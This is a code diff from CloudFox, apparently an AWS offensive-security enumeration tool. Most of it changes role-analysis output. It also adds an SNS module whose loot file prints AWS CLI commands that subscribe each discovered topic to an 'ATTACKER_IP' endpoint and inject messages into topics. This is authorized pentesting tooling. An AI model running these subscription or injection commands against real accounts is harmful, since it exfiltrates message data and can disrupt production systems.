m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
|
||||
if m.pmapperError != nil {
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
// if m.pmapperError != nil {
|
||||
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// } else {
|
||||
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// }
|
||||
|
||||
wg := new(sync.WaitGroup)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
@@ -121,14 +121,24 @@ func (m *LambdasModule) PrintLambdas(outputFormat string, outputDirectory string
|
||||
<-receiverDone
|
||||
|
||||
// add - if struct is not empty do this. otherwise, dont write anything.
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Region",
|
||||
//"Type",
|
||||
"Resource Arn",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
if m.pmapperError == nil {
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Region",
|
||||
//"Type",
|
||||
"Resource Arn",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Region",
|
||||
"Resource Arn",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
}
|
||||
}
|
||||
|
||||
sort.Slice(m.Lambdas, func(i, j int) bool {
|
||||
@@ -138,19 +148,35 @@ func (m *LambdasModule) PrintLambdas(outputFormat string, outputDirectory string
|
||||
// Table rows
|
||||
for i := range m.Lambdas {
|
||||
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Lambdas[i].AWSService,
|
||||
m.Lambdas[i].Region,
|
||||
//m.Lambdas[i].Type,
|
||||
m.Lambdas[i].Name,
|
||||
m.Lambdas[i].Role,
|
||||
m.Lambdas[i].Admin,
|
||||
m.Lambdas[i].CanPrivEsc,
|
||||
//m.Lambdas[i].Public,
|
||||
},
|
||||
)
|
||||
if m.pmapperError == nil {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Lambdas[i].AWSService,
|
||||
m.Lambdas[i].Region,
|
||||
//m.Lambdas[i].Type,
|
||||
m.Lambdas[i].Name,
|
||||
m.Lambdas[i].Role,
|
||||
m.Lambdas[i].Admin,
|
||||
m.Lambdas[i].CanPrivEsc,
|
||||
//m.Lambdas[i].Public,
|
||||
},
|
||||
)
|
||||
} else {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Lambdas[i].AWSService,
|
||||
m.Lambdas[i].Region,
|
||||
//m.Lambdas[i].Type,
|
||||
m.Lambdas[i].Name,
|
||||
m.Lambdas[i].Role,
|
||||
m.Lambdas[i].Admin,
|
||||
//m.Lambdas[i].CanPrivEsc,
|
||||
//m.Lambdas[i].Public,
|
||||
},
|
||||
)
|
||||
}
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
@@ -169,7 +195,7 @@ func (m *LambdasModule) executeChecks(r string, wg *sync.WaitGroup, semaphore ch
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("lambda", r)
|
||||
if err != nil {
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -219,7 +219,7 @@ func (m *OutboundAssumedRolesModule) Receiver(receiver chan OutboundAssumeRoleEn
|
||||
func (m *OutboundAssumedRolesModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan OutboundAssumeRoleEntry) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("cloudtrail", r)
|
||||
if err != nil {
|
||||
|
||||
+77
-31
@@ -317,23 +317,46 @@ func (m *IamPermissionsModule) getPermissionsFromAttachedPolicy(arn string, atta
|
||||
for _, s = range parsedPolicyDocument.Statement {
|
||||
//version := parsedPolicyDocument.Version
|
||||
effect := s.Effect
|
||||
for _, action := range s.Action {
|
||||
for _, resource := range s.Resource {
|
||||
m.Rows = append(
|
||||
m.Rows,
|
||||
PermissionsRow{
|
||||
AWSService: AWSService,
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
Type: IAMtype,
|
||||
PolicyType: "Managed",
|
||||
PolicyName: p.Name,
|
||||
Effect: effect,
|
||||
Action: action,
|
||||
Resource: resource,
|
||||
})
|
||||
if s.Action != nil {
|
||||
for _, action := range s.Action {
|
||||
for _, resource := range s.Resource {
|
||||
m.Rows = append(
|
||||
m.Rows,
|
||||
PermissionsRow{
|
||||
AWSService: AWSService,
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
Type: IAMtype,
|
||||
PolicyType: "Managed",
|
||||
PolicyName: p.Name,
|
||||
Effect: effect,
|
||||
Action: action,
|
||||
Resource: resource,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if s.NotAction != nil {
|
||||
for _, action := range s.NotAction {
|
||||
for _, resource := range s.Resource {
|
||||
m.Rows = append(
|
||||
m.Rows,
|
||||
PermissionsRow{
|
||||
AWSService: AWSService,
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
Type: IAMtype,
|
||||
PolicyType: "Managed",
|
||||
PolicyName: p.Name,
|
||||
Effect: effect,
|
||||
Action: "[NotAction] " + action,
|
||||
Resource: resource,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -350,23 +373,45 @@ func (m *IamPermissionsModule) getPermissionsFromInlinePolicy(arn string, inline
|
||||
for _, s = range parsedPolicyDocument.Statement {
|
||||
//version := parsedPolicyDocument.Version
|
||||
effect := s.Effect
|
||||
for _, action := range s.Action {
|
||||
for _, resource := range s.Resource {
|
||||
m.Rows = append(
|
||||
m.Rows,
|
||||
PermissionsRow{
|
||||
AWSService: AWSService,
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
Type: IAMtype,
|
||||
PolicyType: "Inline",
|
||||
PolicyName: aws.ToString(inlinePolicy.PolicyName),
|
||||
Effect: effect,
|
||||
Action: action,
|
||||
Resource: resource,
|
||||
})
|
||||
if s.Action != nil {
|
||||
for _, action := range s.Action {
|
||||
for _, resource := range s.Resource {
|
||||
m.Rows = append(
|
||||
m.Rows,
|
||||
PermissionsRow{
|
||||
AWSService: AWSService,
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
Type: IAMtype,
|
||||
PolicyType: "Inline",
|
||||
PolicyName: aws.ToString(inlinePolicy.PolicyName),
|
||||
Effect: effect,
|
||||
Action: action,
|
||||
Resource: resource,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
if s.NotAction != nil {
|
||||
for _, action := range s.NotAction {
|
||||
for _, resource := range s.Resource {
|
||||
m.Rows = append(
|
||||
m.Rows,
|
||||
PermissionsRow{
|
||||
AWSService: AWSService,
|
||||
Arn: arn,
|
||||
Name: name,
|
||||
Type: IAMtype,
|
||||
PolicyType: "Inline",
|
||||
PolicyName: aws.ToString(inlinePolicy.PolicyName),
|
||||
Effect: effect,
|
||||
Action: "notaction" + action,
|
||||
Resource: resource,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@@ -377,7 +422,8 @@ type policyDocument struct {
|
||||
|
||||
type StatementEntry struct {
|
||||
Effect string `json:"Effect"`
|
||||
Action ListOfItems `json:"Action"`
|
||||
Action ListOfItems `json:"Action,omitempty"`
|
||||
NotAction ListOfItems `json:"NotAction,omitempty"`
|
||||
Resource ListOfItems `json:"Resource"`
|
||||
Condition ListOfItems `json:"Condition"`
|
||||
}
|
||||
|
||||
+2
-1
@@ -135,7 +135,8 @@ func (m *PmapperModule) PrintPmapperData(outputFormat string, outputDirectory st
|
||||
fmt.Printf("[%s][%s] Looking for pmapper data for this account and building a PrivEsc graph in golang if it exists.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
pmapperError := m.initPmapperGraph()
|
||||
if pmapperError != nil {
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. \n\t\t\t1. Generate pmapper data by running `pmapper --profile %s graph create`\n\t\t\t2. After that completes, this cloudfox command and others will attempt to find and use the pmapper graph data in this and other cloudfox commands\n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.AWSProfile)
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. \n\t\t\t1. Generate pmapper data by running `pmapper --profile %s graph create`\n\t\t\t2. After that completes, cloudfox will attempt to enrich this command and others with pmapper privesc data\n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.AWSProfile)
|
||||
fmt.Printf("[%s][%s] For more info and troubleshooting steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
m.modLog.Error(pmapperError)
|
||||
return
|
||||
|
||||
|
||||
+1
-1
@@ -129,7 +129,7 @@ func (m *RAMModule) PrintRAM(outputFormat string, outputDirectory string, verbos
|
||||
func (m *RAMModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan Resource) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ram", r)
|
||||
if err != nil {
|
||||
|
||||
+72
-28
@@ -99,15 +99,14 @@ func (m *RoleTrustsModule) PrintRoleTrusts(outputFormat string, outputDirectory
|
||||
}
|
||||
localAdminMap := make(map[string]bool)
|
||||
fmt.Printf("[%s][%s] Enumerating role trusts for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
fmt.Printf("[%s][%s] Looking for pmapper data for this account and building a PrivEsc graph in golang if it exists.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
//fmt.Printf("[%s][%s] Looking for pmapper data for this account and building a PrivEsc graph in golang if it exists.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
if m.pmapperError != nil {
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
|
||||
}
|
||||
// if m.pmapperError != nil {
|
||||
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// } else {
|
||||
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// }
|
||||
m.getAllRoleTrusts()
|
||||
|
||||
if m.pmapperError == nil {
|
||||
@@ -131,12 +130,23 @@ func (m *RoleTrustsModule) printPrincipalTrusts(outputFormat string, outputDirec
|
||||
m.output.Body = nil
|
||||
m.output.CallingModule = "role-trusts"
|
||||
m.output.FullFilename = "role-trusts-principals"
|
||||
m.output.Headers = []string{
|
||||
"Role",
|
||||
"Trusted Principal",
|
||||
"ExternalID",
|
||||
"IsAdmin?",
|
||||
"CanPrivEscToAdmin?",
|
||||
if m.pmapperError == nil {
|
||||
m.output.Headers = []string{
|
||||
"Role",
|
||||
"Trusted Principal",
|
||||
"ExternalID",
|
||||
"IsAdmin?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
m.output.Headers = []string{
|
||||
"Role",
|
||||
"Trusted Principal",
|
||||
"ExternalID",
|
||||
"IsAdmin?",
|
||||
//"CanPrivEscToAdmin?",
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
for _, role := range m.AnalyzedRoles {
|
||||
@@ -147,7 +157,12 @@ func (m *RoleTrustsModule) printPrincipalTrusts(outputFormat string, outputDirec
|
||||
column3 := statement.Condition.StringEquals.StsExternalID
|
||||
column4 := role.Admin
|
||||
column5 := role.CanPrivEsc
|
||||
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4, column5})
|
||||
if m.pmapperError == nil {
|
||||
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4, column5})
|
||||
} else {
|
||||
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4})
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -170,12 +185,22 @@ func (m *RoleTrustsModule) printServiceTrusts(outputFormat string, outputDirecto
|
||||
m.output.Body = nil
|
||||
m.output.CallingModule = "role-trusts"
|
||||
m.output.FullFilename = "role-trusts-services"
|
||||
m.output.Headers = []string{
|
||||
"Role",
|
||||
"Trusted Service",
|
||||
"ExternalID",
|
||||
"IsAdmin?",
|
||||
"CanPrivEscToAdmin?",
|
||||
if m.pmapperError == nil {
|
||||
m.output.Headers = []string{
|
||||
"Role",
|
||||
"Trusted Service",
|
||||
"ExternalID",
|
||||
"IsAdmin?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
m.output.Headers = []string{
|
||||
"Role",
|
||||
"Trusted Service",
|
||||
"ExternalID",
|
||||
"IsAdmin?",
|
||||
//"CanPrivEscToAdmin?",
|
||||
}
|
||||
}
|
||||
|
||||
for _, role := range m.AnalyzedRoles {
|
||||
@@ -186,7 +211,11 @@ func (m *RoleTrustsModule) printServiceTrusts(outputFormat string, outputDirecto
|
||||
column3 := statement.Condition.StringEquals.StsExternalID
|
||||
column4 := role.Admin
|
||||
column5 := role.CanPrivEsc
|
||||
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4, column5})
|
||||
if m.pmapperError == nil {
|
||||
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4, column5})
|
||||
} else {
|
||||
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -210,12 +239,23 @@ func (m *RoleTrustsModule) printFederatedTrusts(outputFormat string, outputDirec
|
||||
m.output.CallingModule = "role-trusts"
|
||||
m.output.FullFilename = "role-trusts-federated"
|
||||
var column3, column2 string
|
||||
m.output.Headers = []string{
|
||||
"Role",
|
||||
"Trusted Provider",
|
||||
"Trusted Subject",
|
||||
"IsAdmin?",
|
||||
"CanPrivEscToAdmin?",
|
||||
if m.pmapperError == nil {
|
||||
|
||||
m.output.Headers = []string{
|
||||
"Role",
|
||||
"Trusted Provider",
|
||||
"Trusted Subject",
|
||||
"IsAdmin?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
m.output.Headers = []string{
|
||||
"Role",
|
||||
"Trusted Provider",
|
||||
"Trusted Subject",
|
||||
"IsAdmin?",
|
||||
//"CanPrivEscToAdmin?",
|
||||
}
|
||||
}
|
||||
|
||||
for _, role := range m.AnalyzedRoles {
|
||||
@@ -226,7 +266,11 @@ func (m *RoleTrustsModule) printFederatedTrusts(outputFormat string, outputDirec
|
||||
column2, column3 = parseFederatedTrustPolicy(statement)
|
||||
column4 := role.Admin
|
||||
column5 := role.CanPrivEsc
|
||||
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4, column5})
|
||||
if m.pmapperError == nil {
|
||||
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4, column5})
|
||||
} else {
|
||||
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -146,7 +146,7 @@ func (m *SecretsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore ch
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("secretsmanager", r)
|
||||
if err != nil {
|
||||
|
||||
+8
-3
@@ -110,12 +110,17 @@ func generatePmapperDataBasePaths(accountId *string) (string, string) {
|
||||
|
||||
} else if runtime.GOOS == "linux" || runtime.GOOS == "freebsd" || runtime.GOOS == "openbsd" {
|
||||
xdg, ok := os.LookupEnv("XDG_DATA_HOME")
|
||||
if !ok {
|
||||
if ok {
|
||||
edgesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/edges.json")
|
||||
nodesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/nodes.json")
|
||||
} else {
|
||||
edgesPath = fmt.Sprintf("~/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
|
||||
nodesPath = fmt.Sprintf("~/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
|
||||
dir, err := os.UserHomeDir()
|
||||
if err == nil {
|
||||
edgesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
|
||||
nodesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
|
||||
} else {
|
||||
log.Fatal("Could not homedir.")
|
||||
}
|
||||
}
|
||||
|
||||
} else if runtime.GOOS == "windows" {
|
||||
|
||||
+391
@@ -0,0 +1,391 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/internal/aws/policy"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/aws/arn"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sns"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type SNSModule struct {
|
||||
// General configuration data
|
||||
SNSClient AWSSNSClient
|
||||
|
||||
StorePolicies bool
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
|
||||
// Main module data
|
||||
Topics []SNSTopic
|
||||
CommandCounter internal.CommandCounter
|
||||
// Used to store output data for pretty printing
|
||||
output internal.OutputData2
|
||||
modLog *logrus.Entry
|
||||
}
|
||||
|
||||
type AWSSNSClient interface {
|
||||
ListTopics(ctx context.Context, params *sns.ListTopicsInput, optFns ...func(*sns.Options)) (*sns.ListTopicsOutput, error)
|
||||
GetTopicAttributes(ctx context.Context, params *sns.GetTopicAttributesInput, optFns ...func(*sns.Options)) (*sns.GetTopicAttributesOutput, error)
|
||||
}
|
||||
|
||||
type SNSTopic struct {
|
||||
ARN string
|
||||
Name string
|
||||
Region string
|
||||
Policy policy.Policy
|
||||
PolicyJSON string
|
||||
Access string
|
||||
IsPublic string
|
||||
IsConditionallyPublic string
|
||||
Statement string
|
||||
Actions string
|
||||
ConditionText string
|
||||
ResourcePolicySummary string
|
||||
}
|
||||
|
||||
func (m *SNSModule) PrintSNS(outputFormat string, outputDirectory string, verbosity int) {
|
||||
// These stuct values are used by the output module
|
||||
m.output.Verbosity = verbosity
|
||||
m.output.Directory = outputDirectory
|
||||
m.output.CallingModule = "sns"
|
||||
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
|
||||
"module": m.output.CallingModule,
|
||||
})
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating SNS topics for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
|
||||
wg := new(sync.WaitGroup)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
|
||||
// Create a channel to signal the spinner aka task status goroutine to finish
|
||||
spinnerDone := make(chan bool)
|
||||
//fire up the the task status spinner/updated
|
||||
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
|
||||
|
||||
//create a channel to receive the objects
|
||||
dataReceiver := make(chan SNSTopic)
|
||||
|
||||
// Create a channel to signal to stop
|
||||
receiverDone := make(chan bool)
|
||||
go m.Receiver(dataReceiver, receiverDone)
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
// Send a message to the spinner goroutine to close the channel and stop
|
||||
spinnerDone <- true
|
||||
<-spinnerDone
|
||||
// Send a message to the data receiver goroutine to close the channel and stop
|
||||
receiverDone <- true
|
||||
<-receiverDone
|
||||
|
||||
// add - if struct is not empty do this. otherwise, dont write anything.
|
||||
m.output.Headers = []string{
|
||||
|
||||
"ARN",
|
||||
"Public?",
|
||||
"Resource Policy Summary",
|
||||
}
|
||||
|
||||
sort.SliceStable(m.Topics, func(i, j int) bool {
|
||||
return m.Topics[i].ARN < m.Topics[j].ARN
|
||||
})
|
||||
|
||||
// Table rows
|
||||
for i := range m.Topics {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Topics[i].ARN,
|
||||
m.Topics[i].IsPublic,
|
||||
m.Topics[i].ResourcePolicySummary,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
|
||||
fmt.Printf("[%s][%s] %s topics found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
fmt.Printf("[%s][%s] Access policies stored to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No topics found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
|
||||
}
|
||||
|
||||
func (m *SNSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("sns", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getSNSTopicsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *SNSModule) Receiver(receiver chan SNSTopic, receiverDone chan bool) {
|
||||
defer close(receiverDone)
|
||||
for {
|
||||
select {
|
||||
case data := <-receiver:
|
||||
m.Topics = append(m.Topics, data)
|
||||
case <-receiverDone:
|
||||
receiverDone <- true
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *SNSModule) writeLoot(outputDirectory string, verbosity int, profile string) {
|
||||
path := filepath.Join(outputDirectory, "loot")
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
}
|
||||
lootCommandsFile := filepath.Join(path, "sns-commands.txt")
|
||||
|
||||
var out string
|
||||
out = out + fmt.Sprintln("#############################################")
|
||||
out = out + fmt.Sprintln("# The profile you will use to perform these commands is most likely not the profile you used to run CloudFox")
|
||||
out = out + fmt.Sprintln("# Set the $profile environment variable to the profile you are going to use to inspect the buckets.")
|
||||
out = out + fmt.Sprintln("# E.g., export profile=dev-prod.")
|
||||
out = out + fmt.Sprintln("#############################################")
|
||||
out = out + fmt.Sprintln("")
|
||||
|
||||
for _, topic := range m.Topics {
|
||||
|
||||
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(topic.Name)+7))
|
||||
out = out + fmt.Sprintf("# Topic: %s\n", topic.Name)
|
||||
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(topic.Name)+7))
|
||||
out = out + fmt.Sprintln("# Subscribe to the topic using an attacker controlled HTTP/HTTPS endpoint")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sns subscribe --topic-arn %s --protocol http --notification-endpoint http://ATTACKER_IP:PORT\n", topic.Region, topic.ARN)
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sns subscribe --topic-arn %s --protocol https --notification-endpoint https://ATTACKER_IP:PORT\n", topic.Region, topic.ARN)
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# NOTE: You will have to confirm the subscription using the URL sent to your attacker controlled http service")
|
||||
out = out + fmt.Sprintln("# NOTE: Once you have confirmed the subscription, your attacker controlled IP will received all messages published to the topic.")
|
||||
out = out + fmt.Sprintln("")
|
||||
|
||||
out = out + fmt.Sprintln("# Publish messages to an existing topic without an attributes file")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
|
||||
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
|
||||
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sns publish --topic-arn %s --message \"[INSERT MESSAGE BODY]\"\n\n", topic.Region, topic.ARN)
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# Send message to the queue with attributes file (You'll have to create and populate the file)")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
|
||||
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
|
||||
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sns publish --topic-arn %s --message \"[INSERT MESSAGE BODY] --message-attributes file://./file.json\"\n\n", topic.Region, topic.ARN)
|
||||
|
||||
}
|
||||
|
||||
err = os.WriteFile(lootCommandsFile, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
}
|
||||
|
||||
if verbosity > 2 {
|
||||
fmt.Println()
|
||||
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to send/receive sqs messages if you have right permissions."))
|
||||
fmt.Print(out)
|
||||
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), lootCommandsFile)
|
||||
|
||||
}
|
||||
|
||||
func (m *SNSModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
|
||||
for {
|
||||
ListTopics, err := m.SNSClient.ListTopics(
|
||||
context.TODO(),
|
||||
&sns.ListTopicsInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *sns.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
